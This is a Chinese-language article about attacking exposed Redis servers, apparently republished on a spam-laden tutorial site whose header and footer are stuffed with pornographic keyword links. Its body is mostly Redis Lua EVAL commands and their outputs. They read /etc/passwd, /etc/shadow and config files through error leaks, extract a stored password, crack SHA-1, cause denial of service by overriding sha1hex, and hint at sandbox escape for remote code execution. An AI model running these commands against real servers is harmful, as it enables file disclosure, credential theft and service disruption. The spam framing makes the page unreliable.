六月婷婷综合激情-六月婷婷综合-六月婷婷在线观看-六月婷婷在线-亚洲黄色在线网站-亚洲黄色在线观看网站

明輝手游網中心:是一個免費提供流行視頻軟件教程、在線學習分享的學習平臺!

Trying to hack Redis via HTTP requests

[摘要]EVAL “ return dofile('/etc/passwd')” 0-ERR Error running script (call to f_afdc51b5f9e34eced5fae459fc1d856af181aaf1): /et...


EVAL “ return dofile('/etc/passwd')” 0
-ERR Error running script (call to f_afdc51b5f9e34eced5fae459fc1d856af181aaf1): /etc/passwd:1: function arguments expected near ':'

EVAL “return dofile('/etc/shadow')” 0
-ERR Error running script (call to f_9882e931901da86df9ae164705931dde018552cb): cannot open /etc/shadow: Permission denied

EVAL “return dofile('/var/www/') ” 0
-ERR Error running script (call to f_8313d384df3ee98ed965706f61fc28dcffe81f23): cannot read /var/www/: Is a directory

EVAL “return dofile('/var/www/tmp_upload/') ”0
-ERR Error running script (call to f_7acae0314580c07e65af001d53ccab85b9ad73b1): cannot open /var/www/tmp_upload/: No such file or directory

EVAL “return dofile('/home/ubuntu/.bashrc')” 0
-ERR Error running script (call to f_274aea5728cae2627f7aac34e466835e7ec570d2): /home/ubuntu/.bashrc:2: unexpected symbol near '#'

如果Lua腳本有語法錯誤或者嘗試設置全局變量時,會產生報錯信息,可以獲得一些我們想要的信息

EVAL “return dofile('/etc/issue')” 0
-ERR Error running script (call to f_8a4872e08ffe0c2c5eda1751de819afe587ef07a): /etc/issue:1: malformed number near '12.04.4'

EVAL “return dofile('/etc/lsb-release')” 0
-ERR Error running script (call to f_d486d29ccf27cca592a28676eba9fa49c0a02f08): /etc/lsb-release:1: Script attempted to access unexisting global variable 'Ubuntu'

EVAL “return dofile('/etc/hosts')” 0
-ERR Error running script (call to f_1c25ec3da3cade16a36d3873a44663df284f4f57): /etc/hosts:1: malformed number near '127.0.0.1'

還有一種情況,但是并不是很常見,就是調用dofile()這個函數去處理有效的Lua文件,然后返回提前定義好的值,假設這里有一個文件/var/data/app/db.conf

db = {
   login  = 'john.doe',
   passwd = 'Uber31337',
}

通過Lua腳本得到passwd的值

EVAL dofile('/var/data/app/db.conf');return(db.passwd); 0
+OK Uber31337

這個也可以獲取Unix標準文件的一些信息:

EVAL “dofile('/etc/environment');return(PATH);” 0      
+OK     /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
EVAL “dofile('/home/ubuntu/.selected_editor');return(SELECTED_EDITOR);” 0
+OK /usr/bin/nano

0x07 暴力破解

Redis提供一個redis.sha1hex()函數,可以被Lua腳本調用,所以還可以通過Redis服務器進行SHA-1的破解,相關代碼在adam_baldwin 的GitHub上(https://github.com/evilpacket/redis-sha-crack),相關原理的描述在
(http://fr.slideshare.net/evilpacket/ev1lsha-misadventures-in-the-land-of-lua需要********)
0x08 Dos

這里有很多Dos Redis的方法,例如通過調用shutdown這個命令刪除數據。

這里有更加有趣的兩個例子:

1)在Redis的控制端,調用dofile()不加任何參數,將會從標準輸入讀取數據,并把讀取的數據認為是Lua腳本。這個時候服務器依舊在運行,但是不會去處理新的連接,直到在控制端讀取到”^D”(或者重啟)。

2)Sha1hex()函數可以被覆蓋(在任何一個客戶端都可以實現這個效果)。下面展示一個返回固定值的sha1hex()函數
Lua腳本:

print(redis.sha1hex('secret'))
function redis.sha1hex (x)
   print('4242424242424242424242424242424242424242')
end
print(redis.sha1hex('secret'))
在Redis的控制端上

# First run
e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4
4242424242424242424242424242424242424242

# Next runs
4242424242424242424242424242424242424242
4242424242424242424242424242424242424242

0x09 數據竊取

如果Redis服務器存儲一些有趣的數據(像session cookie或商業數據),你可以通過get枚舉鍵值,獲取數據。
0x0A 加密

Lua使用完全可以預測的”隨機數”,細節在scripting.c的evalGenericCommand()函數中

/* We want the same PRNG sequence at every call so that our PRNG is* not affected by external state. */
redisSrand48(0);

每一次Lua腳本調用math.random()函數產生的隨機數都是相同數字流:

0.17082803611217
0.74990198051087
0.09637165539729
0.87046522734243
0.57730350670279
[...]

0x0b 遠程命令執行

為了在開放的Redis服務器上進行命令執行,有以下三種情況:
首先能夠修改底層的字節碼,能夠進行虛擬機的逃逸。(Lua的一個例子https://gist.github.com/corsix/6575486);或者是繞過全局保護并且試圖訪問一些有趣的函數。

繞過全局保護是很輕松的(stackoverflow上有一個例子

http://stackoverflow.com/questions/19997647/script-attempted-to-create-global-variable)。然而這么有趣的模塊并不能加載,順便提一下,在這里還有很多有趣的東西(http://lua-users.org/wiki/SandBoxes)。
上面是電腦上網安全的一些基礎常識,學習了安全知識,幾乎可以讓你免費電腦中毒的煩擾。




主站蜘蛛池模板: 欧美亚洲激情 | 日本日本在线观看视频 | 小小的日本动漫在线观看免费高清 | 日韩小视频在线 | 欧美午夜视频在线 | 色天天天天 | 欧美在线专区 | 日韩黄色影视 | 亚洲 欧美 国产 日韩 制服 bt | 五月婷婷色综合 | 日韩无砖2021特黄 | 欧美在线视频第一页 | 色呦呦免费 | 伊人久久大线蕉香港三级 | 日韩69| 青青草狠狠操 | 亚洲综合色在线观看 | 深夜视频免费 | 无人码一区二区三区视频 | 全部免费国产潢色一级 | 日韩精品亚洲一级在线观看 | 一级aa毛片| 亚洲欧美精品一区二区 | 亚洲人成人77777在线播放 | 日本高清视频色www在线观看 | 色综合久久综合欧美综合 | 亚洲一级大黄大色毛片 | 欧洲一区| 伊香蕉大综综综合久久 | 特级淫片国产免费高清视频 | 日韩成人在线观看 | 亚洲视频第一页 | 香蕉免费一区二区三区 | 速度与激情9全集免费观看 速度与激情9免费完整版高清 | 青青草免费在线观看视频 | 四虎4hu永久免费国产精品 | 日韩成人影片 | 亚欧免费视频一区二区三区 | 日本精品久久久久久久久免费 | 亚洲伊人久久大香线蕉结合 | 日日摸夜夜摸无需播放器 |